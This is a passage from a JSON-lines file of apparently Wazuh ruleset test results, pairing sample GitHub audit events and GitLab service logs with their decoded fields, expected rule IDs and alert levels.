"json", "expected_rule": "91386", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Sponsors sponsored developer profile update."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"sponsors.sponsored_developer_request_approval\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "sponsors.sponsored_developer_request_approval", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91387", "level": "5", "expected_decoder": "json", "expected_rule": "91387", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Sponsors sponsored developer request approval."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"sponsors.sponsored_developer_tier_description_update\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "sponsors.sponsored_developer_tier_description_update", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91388", "level": "5", "expected_decoder": "json", "expected_rule": "91388", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Sponsors sponsored developer tier description update."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"sponsors.sponsored_developer_update_newsletter_send\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "sponsors.sponsored_developer_update_newsletter_send", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91389", "level": "5", "expected_decoder": "json", "expected_rule": "91389", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Sponsors sponsored developer update newsletter send."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"sponsors.waitlist_invite_sponsored_developer\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "sponsors.waitlist_invite_sponsored_developer", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91390", "level": "5", "expected_decoder": "json", "expected_rule": "91390", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Sponsors waitlist invite sponsored developer."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"sponsors.waitlist_join\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "sponsors.waitlist_join", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91391", "level": "5", "expected_decoder": "json", "expected_rule": "91391", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Sponsors waitlist join."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"team.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "team.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91392", "level": "3", "expected_decoder": "json", "expected_rule": "91392", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Team."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"team.add_member\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "team.add_member", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91393", "level": "5", "expected_decoder": "json", "expected_rule": "91393", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Team add member."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"team.add_repository\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "team.add_repository", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91394", "level": "5", "expected_decoder": "json", "expected_rule": "91394", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Team add repository."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"team.change_parent_team\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "team.change_parent_team", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91395", "level": "7", "expected_decoder": "json", "expected_rule": "91395", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Team change parent team."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"team.change_privacy\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "team.change_privacy", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91396", "level": "7", "expected_decoder": "json", "expected_rule": "91396", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Team change privacy."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"team.create\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "team.create", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91397", "level": "5", "expected_decoder": "json", "expected_rule": "91397", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Team create."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"team.demote_maintainer\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "team.demote_maintainer", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91398", "level": "7", "expected_decoder": "json", "expected_rule": "91398", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Team demote maintainer."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"team.destroy\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "team.destroy", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91399", "level": "7", "expected_decoder": "json", "expected_rule": "91399", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Team destroy."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"team.promote_maintainer\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "team.promote_maintainer", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91400", "level": "7", "expected_decoder": "json", "expected_rule": "91400", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Team promote maintainer."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"team.remove_member\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "team.remove_member", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91401", "level": "7", "expected_decoder": "json", "expected_rule": "91401", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Team remove member."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"team.remove_repository\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "team.remove_repository", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91402", "level": "7", "expected_decoder": "json", "expected_rule": "91402", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Team remove repository."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"team_discussions.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "team_discussions.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91403", "level": "3", "expected_decoder": "json", "expected_rule": "91403", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Team discussions."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"team_discussions.disable\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "team_discussions.disable", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91404", "level": "3", "expected_decoder": "json", "expected_rule": "91404", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Team discussions disable."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"team_discussions.enable\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "team_discussions.enable", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91405", "level": "3", "expected_decoder": "json", "expected_rule": "91405", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Team discussions enable."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"workflows.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "workflows.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91406", "level": "3", "expected_decoder": "json", "expected_rule": "91406", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Workflows."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"workflows.cancel_workflow_run\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "workflows.cancel_workflow_run", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91407", "level": "5", "expected_decoder": "json", "expected_rule": "91407", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Workflows cancel workflow run."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"workflows.completed_workflow_run\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "workflows.completed_workflow_run", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91408", "level": "5", "expected_decoder": "json", "expected_rule": "91408", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Workflows completed workflow run."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"workflows.created_workflow_run\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "workflows.created_workflow_run", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91409", "level": "5", "expected_decoder": "json", "expected_rule": "91409", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Workflows created workflow run."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"workflows.delete_workflow_run\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "workflows.delete_workflow_run", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91410", "level": "5", "expected_decoder": "json", "expected_rule": "91410", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Workflows delete workflow run."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"workflows.disable_workflow\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "workflows.disable_workflow", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91411", "level": "5", "expected_decoder": "json", "expected_rule": "91411", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Workflows disable workflow."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"workflows.enable_workflow\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "workflows.enable_workflow", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91412", "level": "5", "expected_decoder": "json", "expected_rule": "91412", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Workflows enable workflow."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"workflows.rerun_workflow_run\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "workflows.rerun_workflow_run", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91413", "level": "5", "expected_decoder": "json", "expected_rule": "91413", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Workflows rerun workflow run."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"workflows.prepared_workflow_job\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "workflows.prepared_workflow_job", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91414", "level": "5", "expected_decoder": "json", "expected_rule": "91414", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Workflows prepared workflow job."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"codespaces.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "codespaces.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91415", "level": "3", "expected_decoder": "json", "expected_rule": "91415", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Codespaces."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"codespaces.create\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "codespaces.create", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91416", "level": "5", "expected_decoder": "json", "expected_rule": "91416", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Codespaces create."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"codespaces.resume\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "codespaces.resume", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91417", "level": "5", "expected_decoder": "json", "expected_rule": "91417", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Codespaces resume."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"codespaces.delete\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "codespaces.delete", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91418", "level": "7", "expected_decoder": "json", "expected_rule": "91418", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Codespaces delete."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"codespaces.create_an_org_secret\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "codespaces.create_an_org_secret", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91419", "level": "5", "expected_decoder": "json", "expected_rule": "91419", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Codespaces create an org secret."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"codespaces.update_an_org_secret\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "codespaces.update_an_org_secret", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91420", "level": "7", "expected_decoder": "json", "expected_rule": "91420", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Codespaces update an org secret."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"codespaces.remove_an_org_secret\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "codespaces.remove_an_org_secret", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91421", "level": "9", "expected_decoder": "json", "expected_rule": "91421", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Codespaces remove an org secret."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"codespaces.manage_access_and_security\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "codespaces.manage_access_and_security", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91422", "level": "9", "expected_decoder": "json", "expected_rule": "91422", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Codespaces manage access and security."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"wazuh\",\"created_at\":1619032221869,\"request\":\"request\",\"response\":\"response\"}}", "decoder": "json", "parent": "", "fields": {"github.actor": "wazuh", "github.created_at": "1619032221869.000000", "github.request": "request", "github.response": "response", "integration": "github"}, "field_names": ["github.actor", "github.created_at", "github.request", "github.response", "integration"], "rule": "91448", "level": "3", "expected_decoder": "json", "expected_rule": "91448", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub module internal event, 3 request fail."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"unknown\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "unknown", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91449", "level": "3", "expected_decoder": "json", "expected_rule": "91449", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Generic rule."} +{"log": "{\"method\":\"GET\",\"path\":\"/gitlab/gitlab-ce/issues/1234\",\"format\":\"html\",\"controller\":\"Projects::IssuesController\",\"action\":\"show\",\"status\":200,\"duration\":229.03,\"view\":174.07,\"db\":13.24,\"time\":\"2017-08-08T20:15:54.821Z\",\"params\":[{\"key\":\"param_key\",\"value\":\"param_value\"}],\"remote_ip\":\"18.245.0.1\",\"user_id\":1,\"username\":\"admin\",\"gitaly_calls\":76,\"gitaly_duration\":7.41,\"queue_duration\": 112.47}", "decoder": "json", "parent": "", "fields": {"action": "show", "controller": "Projects::IssuesController", "db": "13.240000", "duration": "229.030000", "format": "html", "gitaly_calls": "76", "gitaly_duration": "7.410000", "method": "GET", "params": "[{'key': 'param_key', 'value': 'param_value'}]", "path": "/gitlab/gitlab-ce/issues/1234", "queue_duration": "112.470000", "remote_ip": "18.245.0.1", "status": "200", "time": "2017-08-08T20:15:54.821Z", "user_id": "1", "username": "admin", "view": "174.070000"}, "field_names": ["action", "controller", "db", "duration", "format", "gitaly_calls", "gitaly_duration", "method", "params", "path", "queue_duration", "remote_ip", "status", "time", "user_id", "username", "view"], "rule": "65600", "level": "3", "expected_decoder": "json", "expected_rule": "65600", "rule_matches_expected": true, "ini_file": "gitlab.ini", "section": "Gitlab_production_1"} +{"log": "{\"method\":\"PUSH\",\"path\":\"/gitlab/gitlab-ce/issues/1234\",\"format\":\"html\",\"controller\":\"Projects::IssuesController\",\"action\":\"show\",\"status\":400,\"duration\":229.03,\"view\":174.07,\"db\":13.24,\"time\":\"2017-08-08T20:15:54.821Z\",\"params\":[{\"key\":\"param_key\",\"value\":\"param_value\"}],\"remote_ip\":\"18.245.0.1\",\"user_id\":1,\"username\":\"admin\",\"gitaly_calls\":76,\"gitaly_duration\":7.41,\"queue_duration\": 112.47}", "decoder": "json", "parent": "", "fields": {"action": "show", "controller": "Projects::IssuesController", "db": "13.240000", "duration": "229.030000", "format": "html", "gitaly_calls": "76", "gitaly_duration": "7.410000", "method": "PUSH", "params": "[{'key': 'param_key', 'value': 'param_value'}]", "path": "/gitlab/gitlab-ce/issues/1234", "queue_duration": "112.470000", "remote_ip": "18.245.0.1", "status": "400", "time": "2017-08-08T20:15:54.821Z", "user_id": "1", "username": "admin", "view": "174.070000"}, "field_names": ["action", "controller", "db", "duration", "format", "gitaly_calls", "gitaly_duration", "method", "params", "path", "queue_duration", "remote_ip", "status", "time", "user_id", "username", "view"], "rule": "65601", "level": "5", "expected_decoder": "json", "expected_rule": "65601", "rule_matches_expected": true, "ini_file": "gitlab.ini", "section": "ERROR: couldn't complete PUSH request."} +{"log": "{\"method\":\"PUSH\",\"path\":\"/gitlab/gitlab-ce/issues/1234\",\"format\":\"html\",\"controller\":\"Projects::IssuesController\",\"action\":\"show\",\"status\":300,\"duration\":229.03,\"view\":174.07,\"db\":13.24,\"time\":\"2017-08-08T20:15:54.821Z\",\"params\":[{\"key\":\"param_key\",\"value\":\"param_value\"}],\"remote_ip\":\"18.245.0.1\",\"user_id\":1,\"username\":\"admin\",\"gitaly_calls\":76,\"gitaly_duration\":7.41,\"queue_duration\": 112.47}", "decoder": "json", "parent": "", "fields": {"action": "show", "controller": "Projects::IssuesController", "db": "13.240000", "duration": "229.030000", "format": "html", "gitaly_calls": "76", "gitaly_duration": "7.410000", "method": "PUSH", "params": "[{'key': 'param_key', 'value': 'param_value'}]", "path": "/gitlab/gitlab-ce/issues/1234", "queue_duration": "112.470000", "remote_ip": "18.245.0.1", "status": "300", "time": "2017-08-08T20:15:54.821Z", "user_id": "1", "username": "admin", "view": "174.070000"}, "field_names": ["action", "controller", "db", "duration", "format", "gitaly_calls", "gitaly_duration", "method", "params", "path", "queue_duration", "remote_ip", "status", "time", "user_id", "username", "view"], "rule": "65602", "level": "5", "expected_decoder": "json", "expected_rule": "65602", "rule_matches_expected": true, "ini_file": "gitlab.ini", "section": "REDIRECTION:The PUSH request has more than one possible response."} +{"log": "October 06, 2014 11:56: User \"Administrator\" (admin@example.com) was created", "decoder": "gitlab-12-application-log", "parent": "gitlab-12-application-log", "fields": {"e-mail": "admin@example.com", "new_user": "Administrator", "timestamp": "October 06, 2014 11:56"}, "field_names": ["e-mail", "new_user", "timestamp"], "rule": "65603", "level": "3", "expected_decoder": "gitlab-12-application-log", "expected_rule": "65603", "rule_matches_expected": true, "ini_file": "gitlab.ini", "section": "User Administrator was created."} +{"log": "October 06, 2014 11:56: Documentcloud created a new project \"Documentcloud / Underscore\"", "decoder": "gitlab-12-application-log", "parent": "gitlab-12-application-log", "fields": {"project_autor": "Documentcloud", "timestamp": "October 06, 2014 11:56"}, "field_names": ["project_autor", "timestamp"], "rule": "65604", "level": "3", "expected_decoder": "gitlab-12-application-log", "expected_rule": "65604", "rule_matches_expected": true, "ini_file": "gitlab.ini", "section": "Documentcloud created a new project."} +{"log": "October 06, 2014 11:56: User \"dummy\" (dummy@gmail.com) was removed", "decoder": "gitlab-12-application-log", "parent": "gitlab-12-application-log", "fields": {"e-mail": "dummy@gmail.com", "removed_user": "dummy", "timestamp": "October 06, 2014 11:56"}, "field_names": ["e-mail", "removed_user", "timestamp"], "rule": "65605", "level": "3", "expected_decoder": "gitlab-12-application-log", "expected_rule": "65605", "rule_matches_expected": true, "ini_file": "gitlab.ini", "section": "User dummy was removed."} +{"log": "October 07, 2014 11:25: Project \"project133\" was removed", "decoder": "gitlab-12-application-log", "parent": "gitlab-12-application-log", "fields": {"project_removed": "project133", "timestamp": "October 07, 2014 11:25"}, "field_names": ["project_removed", "timestamp"], "rule": "65606", "level": "3", "expected_decoder": "gitlab-12-application-log", "expected_rule": "65606", "rule_matches_expected": true, "ini_file": "gitlab.ini", "section": "Project project133 was removed."} +{"log": "{\"severity\":\"ERROR\",\"time\":\"2018-09-06T14:56:20.439Z\",\"service_class\":\"JiraService\",\"project_id\":8,\"project_path\":\"h5bp/html5-boilerplate\",\"message\":\"Error sending message\",\"client_url\":\"http://jira.gitlap.com:8080\",\"error\":\"execution expired\"}", "decoder": "json", "parent": "", "fields": {"client_url": "http://jira.gitlap.com:8080", "error": "execution expired", "message": "Error sending message", "project_id": "8", "project_path": "h5bp/html5-boilerplate", "service_class": "JiraService", "severity": "ERROR", "time": "2018-09-06T14:56:20.439Z"}, "field_names": ["client_url", "error", "message", "project_id", "project_path", "service_class", "severity", "time"], "rule": "65607", "level": "5", "expected_decoder": "json", "expected_rule": "65607", "rule_matches_expected": true, "ini_file": "gitlab.ini", "section": "Error sending message."} +{"log": "{\"severity\":\"INFO\",\"time\":\"2018-09-06T17:15:16.365Z\",\"service_class\":\"JiraService\",\"project_id\":3,\"project_path\":\"namespace2/project2\",\"message\":\"Successfully posted\",\"client_url\":\"http://jira.example.com\"}", "decoder": "json", "parent": "", "fields": {"client_url": "http://jira.example.com", "message": "Successfully posted", "project_id": "3", "project_path": "namespace2/project2", "service_class": "JiraService", "severity": "INFO", "time": "2018-09-06T17:15:16.365Z"}, "field_names": ["client_url", "message", "project_id", "project_path", "service_class", "severity", "time"], "rule": "65608", "level": "3", "expected_decoder": "json", "expected_rule": "65608", "rule_matches_expected": true, "ini_file": "gitlab.ini", "section": "Successfully posted."} +{"log": "{\"severity\":\"ERROR\",\"time\":\"2018-11-23T15:14:54.652Z\",\"exception\":\"Kubeclient::HttpError\",\"error_code\":401,\"service\":\"Clusters::Applications::CheckInstallationProgressService\",\"app_id\":14,\"project_ids\":[1],\"group_ids\":[],\"message\":\"Unauthorized\"}", "decoder": "json", "parent": "", "fields": {"app_id": "14", "error_code": "401", "exception": "Kubeclient::HttpError", "group_ids": "[]", "message": "Unauthorized", "project_ids": "[1]", "service": "Clusters::Applications::CheckInstallationProgressService", "severity": "ERROR", "time": "2018-11-23T15:14:54.652Z"}, "field_names": ["app_id", "error_code", "exception", "group_ids", "message", "project_ids", "service", "severity", "time"], "rule": "65609", "level": "5", "expected_decoder": "json", "expected_rule": "65609", "rule_matches_expected": true, "ini_file": "gitlab.ini", "section": "Gitlab_kubernetes_1 ERROR: Unauthorized."} +{"log": "{\"severity\":\"INFO\",\"time\":\"2018-11-23T15:42:11.647Z\",\"exception\":\"Kubeclient::HttpError\",\"error_code\":null,\"service\":\"Clusters::Applications::InstallService\",\"app_id\":2,\"project_ids\":[19],\"group_ids\":[],\"message\":\"SSL_connect returned=1 errno=0 state=error: certificate verify failed (unable to get local issuer certificate)\"}", "decoder": "json", "parent": "", "fields": {"app_id": "2", "error_code": "null", "exception": "Kubeclient::HttpError", "group_ids": "[]", "message": "SSL_connect returned=1 errno=0 state=error: certificate verify failed (unable to get local issuer certificate)", "project_ids": "[19]", "service": "Clusters::Applications::InstallService", "severity": "INFO", "time": "2018-11-23T15:42:11.647Z"}, "field_names": ["app_id", "error_code", "exception", "group_ids", "message", "project_ids", "service", "severity", "time"], "rule": "65610", "level": "3", "expected_decoder": "json", "expected_rule": "65610", "rule_matches_expected": true, "ini_file": "gitlab.ini", "section": "Gitlab_kubernetes_2 INFO."} +{"log": 